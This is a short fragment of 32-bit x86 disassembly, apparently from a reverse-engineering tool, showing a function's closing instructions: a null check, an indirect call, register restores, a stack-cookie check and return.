mov dword [ebp - 0x10], eax
cmp dword [ebp - 8], 0
je 0x13535b8
push dword [ebp - 8]
call edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0135da4f
leave
ret